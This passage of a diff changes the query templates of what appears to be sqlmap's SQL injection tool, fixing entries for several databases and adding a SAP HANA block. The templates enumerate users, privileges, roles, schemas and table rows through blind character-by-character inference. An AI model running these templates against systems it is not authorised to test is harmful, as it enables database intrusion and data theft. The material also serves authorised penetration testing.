<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s')" query="SELECT kcu.COLUMN_NAME FROM INFORMATION_SCHEMA.TABLE_CONSTRAINTS tc JOIN INFORMATION_SCHEMA.KEY_COLUMN_USAGE kcu ON tc.CONSTRAINT_NAME=kcu.CONSTRAINT_NAME AND tc.TABLE_SCHEMA=kcu.TABLE_SCHEMA WHERE tc.CONSTRAINT_TYPE='PRIMARY KEY' AND UPPER(tc.TABLE_SCHEMA)=UPPER('%s') AND UPPER(tc.TABLE_NAME)=UPPER('%s') ORDER BY kcu.ORDINAL_POSITION LIMIT 1 OFFSET %d"/>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
@@ -917,7 +941,7 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT z FROM (SELECT %s AS z,row_number() over() AS y FROM %s.%s)x WHERE x.y-1=%d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT z FROM (SELECT %s AS z,row_number() over(ORDER BY %s) AS y FROM %s.%s)x WHERE x.y-1=%d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schemas.name FROM schemas WHERE %s" condition="schemas.name"/>
|
||||
@@ -925,7 +949,7 @@
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" condition="tables.name" condition2="schemas.name"/>
|
||||
<blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" condition="tables.name" condition2="schemas.name"/>
|
||||
<blind query="SELECT DISTINCT(schemas.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" query2="SELECT DISTINCT(tables.name) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" count="SELECT COUNT(DISTINCT(schemas.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND %s" count2="SELECT COUNT(DISTINCT(tables.name)) FROM tables JOIN schemas ON schema_id=schemas.id WHERE tables.system=false AND schemas.name='%s'" condition="tables.name" condition2="schemas.name"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT schemas.name,tables.name FROM tables JOIN schemas ON tables.schema_id=schemas.id JOIN columns ON tables.id=columns.table_id WHERE %s" condition="columns.name" condition2="schemas.name" condition3="tables.name"/>
|
||||
@@ -935,8 +959,8 @@
|
||||
|
||||
<dbms value="Apache Derby">
|
||||
<!-- NOTE: CHAR(%s) causes 'A truncation error was encountered trying to shrink CHAR' -->
|
||||
<cast query="RTRIM(CAST(%s AS CHAR(254)))"/>
|
||||
<length query="LENGTH(RTRIM(CAST(%s AS CHAR(254))))"/>
|
||||
<cast query="RTRIM(CAST(%s AS VARCHAR(32672)))"/>
|
||||
<length query="LENGTH(RTRIM(CAST(%s AS VARCHAR(32672))))"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="OFFSET %d ROWS FETCH FIRST %d ROWS ONLY"/>
|
||||
@@ -976,7 +1000,7 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s OFFSET %d ROWS FETCH FIRST 1 ROW ONLY" count="SELECT COUNT(*) FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s ORDER BY %s OFFSET %d ROWS FETCH FIRST 1 ROW ONLY" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<users>
|
||||
<inband query="SELECT USERNAME FROM SYS.SYSUSERS"/>
|
||||
@@ -1002,7 +1026,7 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="Vertica">
|
||||
<cast query="CAST(%s AS CHARACTER(10000))"/>
|
||||
<cast query="CAST(%s AS VARCHAR(10000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
@@ -1026,7 +1050,7 @@
|
||||
<hostname query="SELECT MIN(node_name) FROM v_catalog.nodes"/>
|
||||
<table_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='TABLE' AND object_schema='%s' AND object_name='%s'"/>
|
||||
<!-- NOTE: Vertica uses "projection columns" in case of column comments (e.g. testusers_super.surname) -->
|
||||
<column_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='COLUMN' AND object_schema='%s' AND object_name LIKE '%.%s'"/>
|
||||
<column_comment query="SELECT comment FROM v_catalog.comments WHERE object_type='COLUMN' AND object_schema='%s' AND object_name LIKE '%s%%.%s'"/>
|
||||
<is_dba query="(SELECT is_super_user FROM v_catalog.users WHERE user_name=CURRENT_USER OFFSET 0 LIMIT 1)"/>
|
||||
<check_udf query="(SELECT procedure_name='%s' FROM v_catalog.user_procedures WHERE procedure_name='%s' OFFSET 0 LIMIT 1)"/>
|
||||
<users>
|
||||
@@ -1134,11 +1158,11 @@
|
||||
<substring query="SUBSTR(%s,%d,%d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||
<hex query="TO_HEX(%s)"/>
|
||||
<inference query="CODEPOINT(SUBSTR((%s),%d,1))>%d" dbms_version=">=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>/>
|
||||
<banner/>
|
||||
<hex query="TO_HEX(CAST(%s AS VARBINARY))"/>
|
||||
<inference query="CODEPOINT(CAST(SUBSTR((%s),%d,1) AS VARCHAR(1)))>%d" dbms_version=">=0.178" query2="SUBSTR((%s),%d,1)>'%c'"/>
|
||||
<banner query="version()"/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db/>
|
||||
<current_db query="current_schema"/>
|
||||
<hostname/>
|
||||
<table_comment query="SELECT table_comment FROM INFORMATION_SCHEMA.TABLES WHERE table_schema='%s' AND table_name='%s'"/>
|
||||
<column_comment query="SELECT column_comment FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s' AND table_name='%s' AND column_name='%s'"/>
|
||||
@@ -1214,7 +1238,7 @@
|
||||
</passwords>
|
||||
<privileges>
|
||||
<inband query="SELECT USER_NAME,PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID" condition="USER_NAME"/>
|
||||
<blind query="SELECT PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%d' LIMIT %d,1" count="SELECT COUNT(PRIV_NAME) FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%d'"/>
|
||||
<blind query="SELECT PRIV_NAME FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%s' LIMIT %d,1" count="SELECT COUNT(PRIV_NAME) FROM SYSTEM_.SYS_GRANT_OBJECT_ JOIN SYSTEM_.SYS_PRIVILEGES_ ON SYSTEM_.SYS_GRANT_OBJECT_.PRIV_ID=SYSTEM_.SYS_PRIVILEGES_.PRIV_ID JOIN SYSTEM_.SYS_USERS_ ON SYSTEM_.SYS_USERS_.USER_ID=SYSTEM_.SYS_GRANT_OBJECT_.GRANTEE_ID WHERE USER_NAME='%s'"/>
|
||||
</privileges>
|
||||
<roles>
|
||||
<inband query="SELECT GRANTEE.USER_NAME AS GRANTEE, USER_ROLE.USER_NAME AS GRANTED_ROLE FROM SYSTEM_.SYS_USER_ROLES_ JOIN SYSTEM_.SYS_USERS_ GRANTEE ON GRANTEE_ID=GRANTEE.USER_ID JOIN SYSTEM_.SYS_USERS_ USER_ROLE ON ROLE_ID=USER_ROLE.USER_ID" condition="GRANTEE"/>
|
||||
@@ -1235,7 +1259,7 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT USER_NAME FROM SYSTEM_.SYS_USERS_ WHERE %s" condition="USER_NAME"/>
|
||||
@@ -1321,8 +1345,9 @@
|
||||
</dbms>
|
||||
|
||||
<dbms value="ClickHouse">
|
||||
<cast query="CAST(%s AS String)"/>
|
||||
<cast query="CAST(%s AS Nullable(String))"/>
|
||||
<length query="length(%s)"/>
|
||||
<hex query="hex(%s)"/>
|
||||
<isnull query="ifNull(%s, '')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="LIMIT %d OFFSET %d"/>
|
||||
@@ -1343,7 +1368,7 @@
|
||||
<hostname query="hostName()"/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba query="(SELECT access_type FROM system.grants WHERE user_name=currentUser())='ALL'"/>
|
||||
<is_dba query="(SELECT count() FROM system.grants WHERE user_name=currentUser() AND access_type='ALL')>0"/>
|
||||
<check_udf/>
|
||||
<users>
|
||||
<inband query="SELECT name FROM system.users"/>
|
||||
@@ -1424,7 +1449,7 @@
|
||||
<passwords/>
|
||||
<privileges>
|
||||
<inband query="SELECT grantee,type FROM sys.privileges" condition="grantee"/>
|
||||
<blind query="SELECT DISTINCT(type) FROM sys.privileges WHERE grantee %s '%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(type)) FROM sys.privileges WHERE grantee %s '%s'"/>
|
||||
<blind query="SELECT DISTINCT(type) FROM sys.privileges WHERE grantee='%s' ORDER BY 1 LIMIT 1 OFFSET %d" count="SELECT COUNT(DISTINCT(type)) FROM sys.privileges WHERE grantee='%s'"/>
|
||||
</privileges>
|
||||
<roles/>
|
||||
<statements>
|
||||
@@ -1445,7 +1470,8 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s" keyset_first="SELECT MIN(%s) FROM %s" keyset_next="SELECT MIN(%s) FROM %s WHERE %s>'%s'" keyset_by="SELECT MAX(%s) FROM %s WHERE %s='%s'" keyset_seed="SELECT %s FROM %s ORDER BY %s LIMIT 1 OFFSET %d" keyset_ordered="SELECT %s FROM %s WHERE %s ORDER BY %s LIMIT 1" keyset_where="SELECT MAX(%s) FROM %s WHERE %s"/>
|
||||
<primary_key count="SELECT COUNT(*) FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s'" query="SELECT kcu.column_name FROM information_schema.table_constraints tc JOIN information_schema.key_column_usage kcu ON tc.constraint_name=kcu.constraint_name AND tc.table_schema=kcu.table_schema WHERE tc.constraint_type='PRIMARY KEY' AND tc.table_schema='%s' AND tc.table_name='%s' ORDER BY kcu.ordinal_position LIMIT 1 OFFSET %d"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT schema_name FROM information_schema.schemata WHERE %s" condition="schema_name"/>
|
||||
@@ -1484,7 +1510,7 @@
|
||||
<current_db query="CURRENT_USER"/>
|
||||
<hostname/>
|
||||
<table_comment query="SELECT comment FROM db_class WHERE owner_name='%s' AND class_name='%s'"/>
|
||||
<column_comment query="SELECT db_attribute.comment FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s' AND db_class.class_name='%s' AND attr_name='%s'"/>
|
||||
<column_comment query="SELECT db_attribute.comment FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.owner_name='%s' AND db_class.class_name='%s' AND attr_name='%s'"/>
|
||||
<is_dba query="CURRENT_USER='DBA'"/>
|
||||
<check_udf query="(SELECT meth_name FROM db_method WHERE meth_name='%s' LIMIT 0,1)='%s'"/>
|
||||
<users>
|
||||
@@ -1507,12 +1533,12 @@
|
||||
<blind query="SELECT class_name FROM db_class WHERE owner_name='%s' LIMIT %d,1" count="SELECT COUNT(class_name) FROM db_class WHERE owner_name='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT attr_name,data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" condition="attr_name"/>
|
||||
<blind query="SELECT attr_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" query2="SELECT data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" count="SELECT COUNT(attr_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND owner_name='%s'" condition="attr_name"/>
|
||||
<inband query="SELECT attr_name,data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND db_class.owner_name='%s'" condition="attr_name"/>
|
||||
<blind query="SELECT attr_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND db_class.owner_name='%s'" query2="SELECT data_type FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND db_class.owner_name='%s'" count="SELECT COUNT(attr_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.class_name='%s' AND db_class.owner_name='%s'" condition="attr_name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT name FROM db_user WHERE %s" condition="name"/>
|
||||
@@ -1523,8 +1549,8 @@
|
||||
<blind query="SELECT DISTINCT(owner_name) FROM db_class WHERE %s" query2="SELECT DISTINCT(class_name) FROM db_class WHERE owner_name='%s'" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_class WHERE %s" count2="SELECT COUNT(DISTINCT(class_name)) FROM db_class WHERE owner_name='%s'" condition="class_name" condition2="owner_name"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT owner_name,db_class.class_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" condition="attr_name" condition2="owner_name" condition3="db_class.class_name"/>
|
||||
<blind query="SELECT DISTINCT(owner_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" query2="SELECT DISTINCT(db_class.class_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s'" count="SELECT COUNT(DISTINCT(owner_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" count2="SELECT COUNT(DISTINCT(db_class.class_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE owner_name='%s'" condition="attr_name" condition2="owner_name" condition3="db_class.class_name"/>
|
||||
<inband query="SELECT db_class.owner_name,db_class.class_name FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" condition="attr_name" condition2="db_class.owner_name" condition3="db_class.class_name"/>
|
||||
<blind query="SELECT DISTINCT(db_class.owner_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" query2="SELECT DISTINCT(db_class.class_name) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.owner_name='%s'" count="SELECT COUNT(DISTINCT(db_class.owner_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE %s" count2="SELECT COUNT(DISTINCT(db_class.class_name)) FROM db_attribute JOIN db_class ON db_attribute.class_name=db_class.class_name WHERE db_class.owner_name='%s'" condition="attr_name" condition2="db_class.owner_name" condition3="db_class.class_name"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
@@ -1623,7 +1649,7 @@
|
||||
<columns/>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s ORDER BY %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<search_db/>
|
||||
<search_table/>
|
||||
@@ -1680,7 +1706,7 @@
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT TOP (%d,1) %s FROM %s.%s" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
<blind query="SELECT TOP (%d,1) %s FROM %s.%s ORDER BY %s" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT "schema_name" FROM INFORMATION_SCHEMA.SCHEMATA WHERE %s" condition=""schema_name""/>
|
||||
@@ -1713,6 +1739,7 @@
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (IF(%s,1,0))"/>
|
||||
<inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
|
||||
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||
<banner/>
|
||||
<current_user/>
|
||||
<current_db/>
|
||||
@@ -1752,6 +1779,7 @@
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<inference query="ASCII(SUBSTRING((%s),%d,1))>%d"/>
|
||||
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||
<banner query="sys_stat('st_dbms_name')||' - '||sys_stat('st_dbms_ver')"/>
|
||||
<current_user query="USERNAME()"/>
|
||||
<current_db query="UPPER(USERNAME())"/>
|
||||
@@ -1803,13 +1831,14 @@
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<inference query="ASCII(SUBSTR((%s),%d,1))>%d"/>
|
||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||
<banner query="CURRENT_VERSION()"/>
|
||||
<current_user query="CURRENT_USER()"/>
|
||||
<current_db query="CURRENT_SCHEMA()"/>
|
||||
<hostname query="PARSE_JSON(SYSTEM$ALLOWLIST())[0]:host"/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba query="CURRENT_ROLE()='ACCOUNTADMIN'"/>
|
||||
<is_dba query="CURRENT_ROLE()='ACCOUNTADMIN' OR ARRAY_CONTAINS('ACCOUNTADMIN'::VARIANT,PARSE_JSON(CURRENT_AVAILABLE_ROLES()))"/>
|
||||
<dbs>
|
||||
<inband query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||
<blind query="SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY SCHEMA_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.SCHEMATA"/>
|
||||
@@ -1906,4 +1935,77 @@
|
||||
<blind query="SELECT DISTINCT(table_schema) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s ORDER BY table_schema" query2="SELECT DISTINCT(table_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" count="SELECT COUNT(DISTINCT(table_schema)) FROM INFORMATION_SCHEMA.COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(table_name)) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_schema='%s'" condition="column_name" condition2="table_schema" condition3="table_name"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<dbms value="SAP HANA">
|
||||
<cast query="CAST(%s AS VARCHAR(5000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="IFNULL(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="LIMIT %d OFFSET %d"/>
|
||||
<limitregexp query="\s+LIMIT\s+([\d]+)\s+OFFSET\s+([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||
<limitgroupstart query="2"/>
|
||||
<limitgroupstop query="1"/>
|
||||
<limitstring query=" OFFSET "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--"/>
|
||||
<substring query="SUBSTRING(%s,%d,%d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END) FROM DUMMY"/>
|
||||
<hex query="BINTOHEX(TO_BINARY(%s))"/>
|
||||
<inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
|
||||
<banner query="SELECT VERSION FROM SYS.M_DATABASE"/>
|
||||
<current_user query="SELECT CURRENT_USER FROM DUMMY"/>
|
||||
<current_db query="SELECT CURRENT_SCHEMA FROM DUMMY"/>
|
||||
<hostname query="SELECT HOST FROM SYS.M_HOST_INFORMATION WHERE KEY='host_name'"/>
|
||||
<table_comment query="SELECT COMMENTS FROM SYS.TABLES WHERE SCHEMA_NAME='%s' AND TABLE_NAME='%s'"/>
|
||||
<column_comment query="SELECT COMMENTS FROM SYS.TABLE_COLUMNS WHERE SCHEMA_NAME='%s' AND TABLE_NAME='%s' AND COLUMN_NAME='%s'"/>
|
||||
<is_dba query="EXISTS(SELECT 1 FROM SYS.EFFECTIVE_PRIVILEGES WHERE USER_NAME=CURRENT_USER AND PRIVILEGE IN ('DATA ADMIN','USER ADMIN','ROLE ADMIN'))"/>
|
||||
<check_udf/>
|
||||
<users>
|
||||
<inband query="SELECT USER_NAME FROM SYS.USERS"/>
|
||||
<blind query="SELECT USER_NAME FROM SYS.USERS ORDER BY USER_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.USERS"/>
|
||||
</users>
|
||||
<passwords/>
|
||||
<privileges>
|
||||
<inband query="SELECT GRANTEE,PRIVILEGE FROM SYS.GRANTED_PRIVILEGES WHERE OBJECT_TYPE='SYSTEMPRIVILEGE'" condition="grantee"/>
|
||||
<blind query="SELECT PRIVILEGE FROM SYS.GRANTED_PRIVILEGES WHERE OBJECT_TYPE='SYSTEMPRIVILEGE' AND GRANTEE='%s' ORDER BY PRIVILEGE LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.GRANTED_PRIVILEGES WHERE OBJECT_TYPE='SYSTEMPRIVILEGE' AND GRANTEE='%s'"/>
|
||||
</privileges>
|
||||
<roles>
|
||||
<inband query="SELECT GRANTEE,ROLE_NAME FROM SYS.GRANTED_ROLES" condition="grantee"/>
|
||||
<blind query="SELECT ROLE_NAME FROM SYS.GRANTED_ROLES WHERE GRANTEE='%s' ORDER BY ROLE_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.GRANTED_ROLES WHERE GRANTEE='%s'"/>
|
||||
</roles>
|
||||
<statements>
|
||||
<inband query="SELECT STATEMENT_STRING FROM SYS.M_SQL_PLAN_CACHE"/>
|
||||
<blind query="SELECT STATEMENT_STRING FROM SYS.M_SQL_PLAN_CACHE ORDER BY LAST_EXECUTION_TIMESTAMP DESC LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.M_SQL_PLAN_CACHE"/>
|
||||
</statements>
|
||||
<dbs>
|
||||
<inband query="SELECT SCHEMA_NAME FROM SYS.SCHEMAS"/>
|
||||
<blind query="SELECT SCHEMA_NAME FROM SYS.SCHEMAS ORDER BY SCHEMA_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.SCHEMAS"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT SCHEMA_NAME,OBJECT_NAME FROM SYS.OBJECTS WHERE OBJECT_TYPE IN ('TABLE','VIEW')" condition="schema_name"/>
|
||||
<blind query="SELECT OBJECT_NAME FROM SYS.OBJECTS WHERE SCHEMA_NAME='%s' AND OBJECT_TYPE IN ('TABLE','VIEW') ORDER BY OBJECT_NAME LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM SYS.OBJECTS WHERE SCHEMA_NAME='%s' AND OBJECT_TYPE IN ('TABLE','VIEW')"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT COLUMN_NAME,DATA_TYPE_NAME FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s' ORDER BY POSITION" condition="column_name"/>
|
||||
<blind query="SELECT COLUMN_NAME FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s' ORDER BY POSITION" query2="SELECT DATA_TYPE_NAME FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND SCHEMA_NAME='%s'" count="SELECT COUNT(*) FROM SYS.COLUMNS WHERE TABLE_NAME='%s' AND SCHEMA_NAME='%s'" condition="column_name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s LIMIT 1 OFFSET %d" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT SCHEMA_NAME FROM SYS.SCHEMAS WHERE %s" condition="schema_name"/>
|
||||
<blind query="SELECT DISTINCT(SCHEMA_NAME) FROM SYS.SCHEMAS WHERE %s ORDER BY SCHEMA_NAME" count="SELECT COUNT(DISTINCT(SCHEMA_NAME)) FROM SYS.SCHEMAS WHERE %s" condition="schema_name"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT SCHEMA_NAME,TABLE_NAME FROM SYS.TABLES WHERE %s" condition="table_name" condition2="schema_name"/>
|
||||
<blind query="SELECT DISTINCT(SCHEMA_NAME) FROM SYS.TABLES WHERE %s ORDER BY SCHEMA_NAME" query2="SELECT TABLE_NAME FROM SYS.TABLES WHERE SCHEMA_NAME='%s'" count="SELECT COUNT(DISTINCT(SCHEMA_NAME)) FROM SYS.TABLES WHERE %s" count2="SELECT COUNT(*) FROM SYS.TABLES WHERE SCHEMA_NAME='%s'" condition="table_name" condition2="schema_name"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT SCHEMA_NAME,TABLE_NAME FROM SYS.COLUMNS WHERE %s" condition="column_name" condition2="schema_name" condition3="table_name"/>
|
||||
